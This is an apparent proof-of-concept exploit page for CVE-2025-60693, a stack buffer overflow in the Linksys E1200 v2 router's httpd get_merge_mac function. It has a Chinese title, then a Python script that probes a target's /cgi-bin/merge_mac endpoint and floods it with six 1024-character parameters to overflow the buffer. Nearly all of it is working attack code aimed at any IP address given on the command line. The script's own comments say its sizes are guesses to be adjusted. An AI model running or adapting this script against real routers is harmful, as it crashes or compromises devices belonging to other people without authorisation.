CVE-2025-60693 Linksys E1200 v2 路由器 httpd get_merge_mac 函数栈缓冲区溢出漏洞

import requests import sys # CVE-2025-60693 PoC - Linksys E1200 v2 get_merge_mac Stack Buffer Overflow # Target: Linksys E1200 v2 router (Firmware E1200_v2.0.11.001_us.tar.gz) # Vulnerability: Stack-based buffer overflow in get_merge_mac function def exploit_cve_2025_60693(target_ip, target_port=80): """ Exploit for CVE-2025-60693 This PoC demonstrates the buffer overflow by sending oversized parameters. Modify the payload based on actual firmware analysis. """ base_url = f"http://{target_ip}:{target_port}" # Generate oversized parameters to trigger overflow # The function concatenates parameters _0 to _5 with colon delimiters # Total length exceeding the fixed buffer size will cause overflow overflow_length = 1024 # Adjust based on buffer size analysis padding = 'A' * overflow_length # Construct malicious CGI parameters params = { 'mac_0': padding, 'mac_1': padding, 'mac_2': padding, 'mac_3': padding, 'mac_4': padding, 'mac_5': padding } try: # Send crafted HTTP request response = requests.get(f"{base_url}/cgi-bin/merge_mac", params=params, timeout=10) print(f"[*] Request sent to {base_url}/cgi-bin/merge_mac") print(f"[*] Response status: {response.status_code}") except requests.exceptions.Timeout: print("[*] Request timed out - possible successful exploitation") except Exception as e: print(f"[!] Error: {e}") def check_vulnerability(target_ip, target_port=80): """ Check if target is vulnerable to CVE-2025-60693 """ base_url = f"http://{target_ip}:{target_port}" # Small test payload to check if merge_mac endpoint exists test_params = { 'mac_0': 'test', 'mac_1': 'test' } try: response = requests.get(f"{base_url}/cgi-bin/merge_mac", params=test_params, timeout=5) if response.status_code == 200: print(f"[*] Target {target_ip} has merge_mac endpoint") print(f"[*] Target may be vulnerable - proceed with exploitation") return True else: print(f"[*] Endpoint returned status {response.status_code}") return False except Exception as e: print(f"[!] Error checking vulnerability: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_60693_poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 print(f"[*] Checking vulnerability on {target}...") if check_vulnerability(target, port): print(f"[*] Attempting exploitation...") exploit_cve_2025_60693(target, port)